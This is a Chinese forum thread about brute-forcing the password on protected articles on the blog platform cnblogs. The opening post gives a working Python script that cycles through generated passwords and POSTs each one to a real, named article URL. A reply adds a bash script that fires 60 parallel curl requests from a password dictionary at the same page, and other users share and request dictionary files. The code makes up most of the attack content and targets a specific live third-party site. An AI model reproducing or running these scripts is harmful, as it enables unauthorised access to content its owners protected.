[原创代码]一个最简单的博客园文章密码暴力破解器-python3实现

[原创代码]一个最简单的博客园文章密码暴力破解器-python3实现

codegay

发短消息

加为好友

codegay

当前离线

UID73953 帖子1266 精华0 积分1775 PB1289 技术162 捐助0 阅读权限60 来自伸手党去死,私信问问题的去死 在线时间3998 小时 注册时间2015-12-12 最后登录2024-9-13

少校

帖子1266 积分1775 技术162 捐助0 注册时间2015-12-12

1楼

跳转到 »

正序看帖

打印

字体大小: tT

发表于 2016-6-15 05:02

| 只看该作者

[原创代码] 一个最简单的博客园文章密码暴力破解器-python3实现

我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。

博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,

要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。

比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/read ... /27/factualism.html

我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,

这个程序会有这么两个部分:

1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。

2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。

-_-!为什么使用生成器?

python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会爆炸!!!哈哈哈..

写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。

tqdm是一个python进度条库,requests是一个简单优雅的http库,

product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。

```"""

python3暴力穷举密码

2016年6月09日 04:39:25 codegay

"""

from time import strftime

from itertools import product

from time import sleep

from tqdm import tqdm

import requests

from requests import post

#密码生成器

def psgen(x=4):

iter = ['1234567890',

'abcdefghijklmnopqrstuvwxyz',

'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

]

for r in iter:

for repeat in range(1,x+1):

for ps in product(r,repeat=repeat):

yield ''.join(ps)

def fx(url):

#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。

url = url.replace("/post/readauth?url=", "")

for ps in tqdm(psgen(6)):

try:

rs=post(url,data={'tb_password':ps},allow_redirects=1)

if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。

with open("resut.csv","a+") as f:

f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')

break

except:

sleep(1)

pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'

fx(url)复制代码```

最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。

总结:

1、密码验证的地方适当增加一些防止暴力破解的手段。

2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用。

收藏

分享

去学去写去用才有进步。安装python3代码存为xx.py 双击运行或右键用IDLE打开按F5运行

112

发短消息

加为好友

112

当前离线

UID84928 帖子79 精华0 积分87 PB87 技术0 捐助0 阅读权限10 在线时间111 小时 注册时间2018-2-11 最后登录2025-8-16

上等兵

帖子79 积分87 技术0 捐助0 注册时间2018-2-11

14楼

发表于 2020-4-15 21:32

| 只看该作者

求密码字典

TOP

归棹夕阳下

发短消息

加为好友

归棹夕阳下

当前离线

UID98917 帖子2 精华0 积分13 PB13 技术0 捐助0 阅读权限5 在线时间0 小时 注册时间2020-4-15 最后登录2020-4-15

列兵

帖子2 积分13 技术0 捐助0 注册时间2020-4-15

13楼

发表于 2020-4-15 16:22

| 只看该作者

回复 12# lxzzr

原链接已失效, 求密码字典,谢谢!

TOP

lxzzr

发短消息

加为好友

lxzzr

(庄生晓梦)当前离线

UID1016 帖子682 精华1 积分1686 PB1542 技术48 捐助0 阅读权限255 来自湖南 在线时间1314 小时 注册时间2008-3-13 最后登录2024-3-12

论坛巡查

帖子682 积分1686 技术48 捐助0 注册时间2008-3-13

12楼

发表于 2016-6-15 17:01

| 只看该作者

回复 11# codegay

http://pan.baidu.com/s/1pL8G8MB

1

评分人数

codegay:

1技术 + 1

公钥

TOP

codegay

发短消息

加为好友

codegay

当前离线

UID73953 帖子1266 精华0 积分1775 PB1289 技术162 捐助0 阅读权限60 来自伸手党去死,私信问问题的去死 在线时间3998 小时 注册时间2015-12-12 最后登录2024-9-13

少校

帖子1266 积分1775 技术162 捐助0 注册时间2015-12-12

11楼

发表于 2016-6-15 16:56

| 只看该作者

回复 10# lxzzr

快分享字典。我要字典。

去学去写去用才有进步。安装python3代码存为xx.py 双击运行或右键用IDLE打开按F5运行

TOP

lxzzr

发短消息

加为好友

lxzzr

(庄生晓梦)当前离线

UID1016 帖子682 精华1 积分1686 PB1542 技术48 捐助0 阅读权限255 来自湖南 在线时间1314 小时 注册时间2008-3-13 最后登录2024-3-12

论坛巡查

帖子682 积分1686 技术48 捐助0 注册时间2008-3-13

10楼

发表于 2016-6-15 16:44

| 只看该作者

回复 9# codegay

哈哈,就是一密码字典

公钥

TOP

codegay

发短消息

加为好友

codegay

当前离线

UID73953 帖子1266 精华0 积分1775 PB1289 技术162 捐助0 阅读权限60 来自伸手党去死,私信问问题的去死 在线时间3998 小时 注册时间2015-12-12 最后登录2024-9-13

少校

帖子1266 积分1775 技术162 捐助0 注册时间2015-12-12

9楼

发表于 2016-6-15 16:42

| 只看该作者

字典里你填了什么啊,为毛就给算出来了。。。

去学去写去用才有进步。安装python3代码存为xx.py 双击运行或右键用IDLE打开按F5运行

TOP

codegay

发短消息

加为好友

codegay

当前离线

UID73953 帖子1266 精华0 积分1775 PB1289 技术162 捐助0 阅读权限60 来自伸手党去死,私信问问题的去死 在线时间3998 小时 注册时间2015-12-12 最后登录2024-9-13

少校

帖子1266 积分1775 技术162 捐助0 注册时间2015-12-12

8楼

发表于 2016-6-15 16:38

| 只看该作者

好粗暴 。

去学去写去用才有进步。安装python3代码存为xx.py 双击运行或右键用IDLE打开按F5运行

TOP

lxzzr

发短消息

加为好友

lxzzr

(庄生晓梦)当前离线

UID1016 帖子682 精华1 积分1686 PB1542 技术48 捐助0 阅读权限255 来自湖南 在线时间1314 小时 注册时间2008-3-13 最后登录2024-3-12

论坛巡查

帖子682 积分1686 技术48 捐助0 注册时间2008-3-13

7楼

发表于 2016-6-15 16:24

| 只看该作者

本帖最后由 lxzzr 于 2016-6-15 16:25 编辑

回复 6# 523066680

是的,就是楼主那个,我用的是用bash批量提交curl#!/bin/bash

trap Cleanup SIGINT SIGTERM

# 字典路径

DictionaryPath="/root/.passwd/PASSWD01"

# 读取字典文件到数组

arrayW=(`cat $DictionaryPath`)

# 最大任务量,数组

Limit=${#arrayW[*]}

# 并发的进程数

Threads=60

echo ""

echo "Load passwords from $DictionaryPath, Tasks: $Limit, Threads: $Threads"

echo ""

function Cleanup()

{

# 清理后台还在运行的任务

for i in `jobs | awk -F'[][]' '/Running\s+Crack/{print $2}'`

do

kill %$i

done

sleep 1

echo -e "\n\nExit ...\n"

exit

}

function Crack()

{

URL="http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"

result=$(curl -so /dev/null -w "%{http_code}\n" -X 'POST' --data-binary $'tb_password='$1'' ''$URL'')

if [ "$result" == "200" ]; then

printf "\n\n%s\033[1;32m %s\033[m" "OK, Password is:" "$1"

killall ${0##*/}

fi

}

# 进程ID数组

arrayP=()

m=0

while (( m < Limit ))

do

for ((n=0; n < Threads; n++))

do

if [ $m -gt $Limit ]; then

break;

fi

if [[ ! "${arrayP[n]}" ]] || ! kill -0 ${arrayP[n]} 2>/dev/null; then

# 处理进度百分比

progress=$(echo "$m ${#arrayW[*]}" | awk '{printf "%.2f%\n",$1/$2*100}')

printf "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b%s" "Processing [$progress] ..."

Crack "${arrayW[m]}" &

arrayP[n]=$!

m=$((m+1))

fi

done

sleep 0.5

done

wait

printf "\n\n"

exit复制代码

1

评分人数

codegay:

1技术 + 1

公钥

TOP

523066680

发短消息

加为好友

523066680

(消遣区)当前离线

UID3337 帖子3193 精华1 积分6521 PB5460 技术327 捐助70 阅读权限255 来自广州(工作地) 在线时间5400 小时 注册时间2008-8-3 最后登录2026-1-22

版主

帖子3193 积分6521 技术327 捐助70 注册时间2008-8-3

6楼

发表于 2016-6-15 16:18

| 只看该作者

回复 5# lxzzr

元老,快点拿粗来分享一下(也是破解博客访问密码的吗?)

[url=][/url]

TOP

lxzzr

发短消息

加为好友

lxzzr

(庄生晓梦)当前离线

UID1016 帖子682 精华1 积分1686 PB1542 技术48 捐助0 阅读权限255 来自湖南 在线时间1314 小时 注册时间2008-3-13 最后登录2024-3-12

论坛巡查

帖子682 积分1686 技术48 捐助0 注册时间2008-3-13

5楼

发表于 2016-6-15 15:56

| 只看该作者

写了个小脚本

公钥

TOP

codegay

发短消息

加为好友

codegay

当前离线

UID73953 帖子1266 精华0 积分1775 PB1289 技术162 捐助0 阅读权限60 来自伸手党去死,私信问问题的去死 在线时间3998 小时 注册时间2015-12-12 最后登录2024-9-13

少校

帖子1266 积分1775 技术162 捐助0 注册时间2015-12-12

4楼

发表于 2016-6-15 15:33

| 只看该作者

我试了一下,博客园的登录没有验证证码。我点很多下都没有出来验证码。

印象里面之前我是碰到过有验证码的。

博客园的用户名好像不是确定的,再加上网络暴力破解的速度慢。应该没人真会用暴力破帐号和密码的方法。

去学去写去用才有进步。安装python3代码存为xx.py 双击运行或右键用IDLE打开按F5运行

TOP

codegay

发短消息

加为好友

codegay

当前离线

UID73953 帖子1266 精华0 积分1775 PB1289 技术162 捐助0 阅读权限60 来自伸手党去死,私信问问题的去死 在线时间3998 小时 注册时间2015-12-12 最后登录2024-9-13

少校

帖子1266 积分1775 技术162 捐助0 注册时间2015-12-12

3楼

发表于 2016-6-15 15:18

| 只看该作者

回复 2# 523066680

。。。。擦。那不是又看到我在跟别人撕B了。

去学去写去用才有进步。安装python3代码存为xx.py 双击运行或右键用IDLE打开按F5运行

TOP

523066680

发短消息

加为好友

523066680

(消遣区)当前离线

UID3337 帖子3193 精华1 积分6521 PB5460 技术327 捐助70 阅读权限255 来自广州(工作地) 在线时间5400 小时 注册时间2008-8-3 最后登录2026-1-22

版主

帖子3193 积分6521 技术327 捐助70 注册时间2008-8-3

2楼

发表于 2016-6-15 15:12

| 只看该作者

本帖最后由 523066680 于 2016-6-15 15:13 编辑

越来越刁了,在“看雪”看到你了

记得博客园有图片验证?

哦,我以为是破解用户账号,吓坏我了

[url=][/url]

TOP

相关推荐

mobile288-365 怎么删除锤子软件图标(删除锤子软件图标的方法)
365体育平台真假怎么分 市政府秘书长的职责与级别分析:关键角色与挑战并存
365平台赌博 英雄联盟多长时间可以投降 英雄联盟投降机制详解